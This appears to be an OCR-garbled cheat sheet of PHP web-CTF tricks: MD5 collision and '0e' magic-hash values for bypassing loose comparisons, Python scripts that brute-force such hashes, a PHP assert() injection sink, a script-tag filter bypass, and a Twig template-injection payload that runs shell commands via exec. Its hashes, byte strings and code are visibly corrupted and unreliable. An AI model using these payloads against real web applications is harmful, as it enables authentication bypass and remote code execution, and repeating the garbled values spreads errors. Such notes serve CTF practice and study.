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1.preg_replace ($pattern, $replacement , $subject )
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if((string)$_POST[ 'paraml’']!==(string)$_POST[ 'param2'] && md5($_POST[ 'paraml’'])===md5($_POST[ 'param2'])){
die("success!);

}

Param1=%4d%c9%68 %ff%0e%e3%5¢c%20%95%72%d4% 77 % 7b%72%15%87 %d3%6f%a7 %b2%1b%dc%5¢t
Param2=%4d%c9%68 %ff%0e%e3%5¢c%20%95%72%d4% 77 % 7b%72%15%87 %d3%6f%a7 %b2%1b%dc%5¢t
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md5 (CbDLytmyGm2xQyaLNhWn) => @ec2@b7c66cafbcc7d8e8481f0653d18

md5 (md5 (CbDLytmyGm2xQyaLNhiWn)) => @e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlazk

md5 (770hQgrBojrcqftrlazk) => 0e689b4f703bdc753be7e27b45ch3625
md5(md5 (770hQgrBOjrcqftrlazk)) => @e2756da68ef740fd8f5a5c26cc45064
7r41GXCH2Ksu2INT3BYM

md5(7r41GXCH2Ksu2INT3BYM) => @e269ab12da27d79a6626d91f34ae849

md5 (md5(7r41GXCH2Ksu2INT3BYM)) => 0e48d320b2a97ab295f5c4694759889F
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# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start+str_len] == substr:
print rnds
stop_event.set()
#HREHEXUmd 5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>"
stop_event.set()

+ value+"=>"+ md5.hexdigest() + "\n"

if _name__ == '__main__"':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else ©
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:

p.join()
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$_GET["hash1"] != hash("md4", $_GET["hash1"])
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import hashlib
for i in range(90,10**40):
i='@e'+str(i)
md4=hashlib.new('md4', i.encode()).hexdigest()
if md4[:2]=="0e' and md4[2:].isdigit():
print('num:{},md4: {} '.format(i,md4))

break
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assert("strpos('$file’', '..') === false") or die("Detected hacking attempt!");
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4. <script language="php">  </script>
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{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("shellcode")}};
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